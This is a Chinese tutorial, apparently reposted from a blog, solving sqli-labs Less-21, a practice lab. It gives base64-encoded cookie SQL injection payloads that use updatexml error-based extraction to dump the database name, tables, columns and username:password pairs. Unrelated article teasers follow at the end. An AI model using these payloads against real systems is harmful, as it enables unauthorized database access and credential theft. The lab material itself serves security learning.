sqli-labs:Less-21關卡詳細解析

1. 思路🚀

本關的SQL語句為:

$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
  • 注入類型:字符串型(單引號、括號包裹)、GET操作
  • 提示:參數需以')閉合
  • 關鍵參數:cookee

php輸出語句的部分代碼:

if(!isset($_POST['submit']))
{$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo "<br><br><br><b>";echo '<img src="../images/Less-21.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">';	echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>";	echo '<font color= "cyan" font size="4">';	echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			echo "</font><br>";			echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >';			echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);$cookee = base64_decode($cookee);echo "<br></font>";......
}

本關卡的關鍵回顯語句是echo "YOUR COOKIE : uname = $cookee...$cookee = base64_decode($cookee);,需通過正確的賬號密碼后才會正確回顯信息,并且已知正確的賬號和密碼,暫且每次提交的賬號密碼都是admin,根據提示配合報錯盲注

在這里插入圖片描述


2. 手工注入步驟🎯

2.1. 獲悉Cookie格式?

下圖是使用Burpsuite的Repeater抓取數據包得到的帶有Cookie的請求格式,需要注意的是會有2個請求,先是POST請求,再是GET請求,只有GET請求中才攜帶Cookie

在這里插入圖片描述

因為代碼中進行了Base64解碼,所以我們必須先對其進行Base64編碼,這樣的加解密操作才能進行正常的sql語句。使用HackBar擴展,接下來的過程只需要將下面編碼后的Cookies放入對應位置,粘貼即可。
注:Cookies的開頭是uname=


2.2. 獲取基本信息?

1') and updatexml(1,concat(1,(select database())),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwzKSAj

在這里插入圖片描述


2.3. 獲取表名?

1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JykpLDMpICM=

在這里插入圖片描述


2.4. 獲取字段?

1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lID0gJ3VzZXJzJykpLDMpICM=

在這里插入圖片描述


2.5. 獲取數據?

1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwgJzonLCBwYXNzd29yZCkgZnJvbSB1c2VycyBsaW1pdCAwLDEpKSwzKSAj

在這里插入圖片描述


2.6. 參數匯總表?

參數作用示例
')閉合符號id=1)'
#注釋符#'
updatexml()報錯注入函數updatexml(1,(select database()),3)
concat()字符串拼接函數concat('a','b')concat(1,(select database()))
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

3. Base64加解密工具🛠?

加菲在線工具:https://www.orcc.top/tools/base64
錘子在線工具:https://www.toolhelper.cn/EncodeDecode/Base64
白盒子在線工具:https://www.baihezi.com/base64


4. 總結🏁

HTTP Cookie(通常簡稱 Cookie)是 ??服務器發送到用戶瀏覽器并保存在本地的一小段數據??。瀏覽器會在后續的 HTTP 請求中自動攜帶該 Cookie,以便服務器識別用戶身份或存儲用戶偏好。

本關卡在http請求頭中的Cookie做文章,并且進行一次變種,為了達到sql注入的效果,需同時配合報錯盲注獲取數據。較為基礎的Cookie注入見文章"sqli-labs:Less-20關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149864853?spm=1011.2415.3001.5331
有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/91903.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/91903.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/91903.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

大模型+垂直場景:技術縱深、場景適配與合規治理全景圖

大模型垂直場景&#xff1a;技術縱深、場景適配與合規治理全景圖??核心結論?&#xff1a;2025年大模型落地已進入“深水區”&#xff0c;技術價值需通過 ?領域縱深&#xff08;Domain-Deep&#xff09;?、數據閉環&#xff08;Data-Driven&#xff09;?、部署友好&#x…

Kotlin Daemon 簡介

Kotlin Daemon 是 Kotlin 編譯器的一個后臺進程&#xff0c;旨在提高編譯性能。它通過保持編譯環境的狀態來減少每次編譯所需的啟動時間&#xff0c;從而加快增量編譯的速度。 Kotlin Daemon 的主要功能增量編譯&#xff1a; 只編譯自上次編譯以來發生更改的文件&#xff0c;節…

鴻蒙南向開發 編寫一個簡單子系統

文章目錄 前言給設備&#xff0c;編寫一個簡單子系統總結 一、前言 對于應用層的開發&#xff0c;搞了十幾年&#xff0c;其實已經有點開發膩的感覺了&#xff0c;翻來覆去&#xff0c;就是調用api&#xff0c;頁面實現&#xff0c;最多就再加個性能優化&#xff0c;但對底層…

超詳細:2026年博士申請時間線

博士申請是一場持久戰&#xff0c;需要提前規劃。那么&#xff0c;如何科學安排2026年博士申請時間線&#xff1f;SCI論文發表的最佳時間節點是什么&#xff1f;今天給所有打算申博的同學們&#xff0c;詳細解析下&#xff0c;每個時間節點的重點內容。2025年4月&#xff1a;是…

Python爬蟲實戰:研究tproxy代理工具,構建電商數據采集系統

1. 引言 1.1 研究背景 在大數據與人工智能技術快速發展的背景下,網絡數據已成為企業決策、學術研究、輿情監控的核心資源。據 Statista 統計,2024 年全球互聯網數據總量突破 180ZB,其中 80% 為非結構化數據,需通過爬蟲技術提取與轉化。Python 憑借其簡潔語法與豐富的爬蟲…

HighgoDB查詢慢SQL和阻塞SQL

文章目錄環境文檔用途詳細信息環境 系統平臺&#xff1a;N/A 版本&#xff1a;6.0,5.6.5,5.6.4,5.6.3,5.6.1,4.5.2,4.5,4.3.4.9,4.3.4.8,4.3.4.7,4.3.4.6,4.3.4.5,4.3.4.4,4.3.4.3,4.3.4.2,4.3.4,4.7.8,4.7.7,4.7.6,4.7.5,4.3.2 文檔用途 本文介紹了如何對數據庫日志進行分析…

day15 SPI

1串行外設接口概述1.1基本概念SPI&#xff08;串行外設接口&#xff09;是一種高速、全雙工、同步的串行通信協議。串行外設接口一般是需要4根線來進行通信&#xff08;NSS、MISO、MOSI、SCK&#xff09;&#xff0c;但是如果打算實現單向通信&#xff08;最少3根線&#xff09…

阿里云微服務引擎 MSE 及 API 網關 2025 年 7 月產品動態

點擊此處&#xff0c;了解微服務引擎 MSE 產品詳情。

RFID技術在汽車倍速鏈中的應用:驅動智能制造的隱形引擎

RFID技術在汽車倍速鏈中的應用&#xff1a;驅動智能制造的隱形引擎某汽車汽車倍速鏈現場存在問題&#xff1a;&#xff08;1&#xff09;條形碼需人工掃描&#xff0c;數據采集延遲率高達15%&#xff0c;導致生產調度與實際工況脫節&#xff1b;&#xff08;2&#xff09;涂裝車…

ES集群調優策略

Index(寫)調優 副本數置0 如果是集群首次灌入數據,可以將副本數設置為0&#xff0c;寫入完畢再調整回去&#xff0c;這樣副本分片只需要拷貝&#xff0c;節省了索引過 程。 PUT /my_temp_index/_settings { "number_of_replicas": 0 } 自動生成doc ID? 通過Elast…

mysql的安裝步驟

安裝步驟1.下載軟件包&#xff0c;安裝依賴環境2.安裝mysql服務器3.基礎安裝路徑&#xff0c;創用戶&#xff0c;與權限4.初始化5.添加環境變量&#xff0c;把服務放到開機自啟里面6.啟動mysql服務器7.獲取初始密碼并且修改一&#xff0c;下載軟件&#xff08;yum&#xff0c;源…

Ant Design Vue notification自定義

<script setup> import { onMounted, h, ref, watch, getCurrentInstance } from vue; import { notification, Button } from ant-design-vue; onMounted(() > { const list [{id: 11,warnLevel: 嚴重,...},...]showMessage(list); }); function showMessage(){ for…

藍橋杯算法之搜索章 - 2

大家好&#xff0c;接下來&#xff0c;我將帶來對于搜索篇的新內容&#xff0c;這部分我將打算圍繞DFS深度優先搜索去講解。 溫馨提示&#xff1a;由于這篇文章是接著上一篇文章的&#xff0c;如果新讀者沒有看過前一篇的話&#xff0c;推薦去看一下&#xff0c;不然有些地方可…

藍橋杯----AT24C02

&#xff08;5-1&#xff09;、AT24C02掉電不丟失寫入與讀取AT24C02就是將數據寫入E2PROM&#xff0c;保證寫入數據掉電不丟失。考頻低&#xff0c;一般不考&#xff0c;頂天考幾個數據E2PROM&#xff0c;上電立馬讀取。AT24C02數據讀取一定放在主程序最前面&#xff0c;否則會…

【物聯網】基于樹莓派的物聯網開發【19】——樹莓派搭建MQTT客戶端及MQTTX使用

場景介紹 實現測試客戶端與 MQTT 服務器的連接、訂閱、取消訂閱、收發消息等功能。 MQTT發布消息到代理服務器 安裝paho-mqtt 使用pip工具安裝paho-mqtt&#xff0c;輸入以下指令即可&#xff1a; sudo pip install paho-mqtt安裝 MQTT 客戶端庫 為了方便連接到 MQTT 服務器&am…

5G-A技術浪潮勾勒通信產業新局,微美全息加快以“5.5G+ AI”新勢能深化場景應用

7月31日&#xff0c;國家互聯網信息辦公室發布《國家信息化發展報告》。《報告》中提出&#xff0c;新一代通信技術研發取得新成果&#xff0c;5G-A地空通信&#xff08;5G-ATG&#xff09;技術研發成功并完成測試驗證。5G-A技術研發測試驗證移動通信技術一般代際生命周期為10年…

SQLite Where 子句詳解

SQLite Where 子句詳解 SQLite 是一款輕量級的數據庫管理系統,廣泛應用于移動設備、嵌入式系統以及個人電腦。在 SQLite 中,WHERE 子句是 SQL 查詢語句中不可或缺的一部分,它用于指定查詢條件,從而篩選出滿足特定條件的記錄。本文將詳細介紹 SQLite 中的 WHERE 子句,包括…

AI IDE+AI 輔助編程-生成的大綱-一般般

引言概述 AI IDE 和 AI 輔助編程的興起及其對開發效率的影響提出核心問題&#xff1a;AI 工具能否真正幫助程序員減少加班&#xff08;告別 996&#xff09;&#xff1f;AI IDE 與 AI 輔助編程的定義與現狀解釋 AI IDE&#xff08;集成 AI 的開發環境&#xff09;和 AI 輔助編程…

ABP VNext + Dapr Workflows:輕量級分布式工作流

&#x1f680; ABP VNext Dapr Workflows&#xff1a;輕量級分布式工作流 &#x1f4da; 目錄&#x1f680; ABP VNext Dapr Workflows&#xff1a;輕量級分布式工作流一、引言 ?TL;DR &#x1f525;二、環境與依賴 &#x1f6e0;?三、系統架構與流程圖 &#x1f3d7;?四、…

? Unity 實現UI視差滾動效果(Parallax)鼠標控制、可拓展陀螺儀與腳本控制

? 效果如下在許多游戲、APP 或動效頁面中&#xff0c;我們常見的一種視覺效果是 視差滾動&#xff08;Parallax Scrolling&#xff09;&#xff1a;前景、中景、背景在鼠標或設備移動時以不同速率輕微移動&#xff0c;從而營造出一種空間感和深度感。目前遇到這樣一個需求 所以…